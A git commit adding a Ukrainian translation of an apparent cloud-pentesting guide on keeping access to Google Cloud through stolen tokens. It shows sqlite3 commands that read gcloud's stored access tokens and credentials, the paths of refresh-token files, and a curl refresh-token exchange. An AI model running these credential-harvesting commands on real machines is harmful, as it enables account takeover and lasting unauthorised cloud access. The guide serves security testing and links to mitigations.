Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s

This commit is contained in:
Translator
2025-02-21 11:04:42 +00:00
parent 8458a658b1
commit 8c3b74a2b6

View File

@@ -0,0 +1,90 @@
# GCP - Токен Постійності
{{#include ../../../banners/hacktricks-training.md}}
### Токени Аутентифікованого Користувача
Щоб отримати **поточний токен** користувача, ви можете виконати:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Перевірте на цій сторінці, як **безпосередньо використовувати цей токен за допомогою gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Щоб отримати деталі для **генерації нового токена доступу**, виконайте:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Також можливо знайти токени оновлення в **`$HOME/.config/gcloud/application_default_credentials.json`** та в **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Щоб отримати новий оновлений токен доступу з **токеном оновлення**, ідентифікатором клієнта та секретом клієнта, виконайте:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Термін дії токенів оновлення можна керувати в **Admin** > **Security** > **Google Cloud session control**, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
Потік аутентифікації при використанні чогось на кшталт `gcloud auth login` відкриє запит у браузері, і після прийняття всіх областей браузер надішле запит, подібний до цього, на http-порт, відкритий інструментом:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Тоді gcloud використовуватиме стан і код з деяким зашитим `client_id` (`32555940559.apps.googleusercontent.com`) та **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), щоб отримати **останні дані токена оновлення**.
> [!CAUTION]
> Зверніть увагу, що зв'язок з localhost здійснюється через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише 1 раз, тому це буде марно, легше просто прочитати токен оновлення з файлу.
### OAuth Scopes
Ви можете знайти всі Google scopes на [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) або отримати їх, виконавши:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Можна побачити, які області підтримує програма, яку **`gcloud`** використовує для аутентифікації, за допомогою цього скрипта:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Після виконання було перевірено, що цей додаток підтримує ці області:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
цікаво бачити, як цей додаток підтримує **`drive`** область, що може дозволити користувачу ескалувати з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цією областю.
**Перевірте, як** [**зловживати цим тут**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Облікові записи служб
Так само, як і з автентифікованими користувачами, якщо вам вдасться **зламати файл приватного ключа** облікового запису служби, ви зможете **доступати до нього зазвичай так довго, як вам потрібно**.\
Однак, якщо ви вкрадете **OAuth токен** облікового запису служби, це може бути ще цікавіше, оскільки, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо **жертва видалить приватний API ключ, OAuth токен залишиться дійсним до його закінчення**.
### Метадані
Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете **доступати до облікового запису служби, прикріпленого до цієї машини, звертаючись до кінцевої точки метаданих** (зверніть увагу, що токени Oauth, до яких ви можете отримати доступ на цій кінцевій точці, зазвичай обмежені областями).
### Виправлення
Деякі виправлення для цих технік пояснені в [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Посилання
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}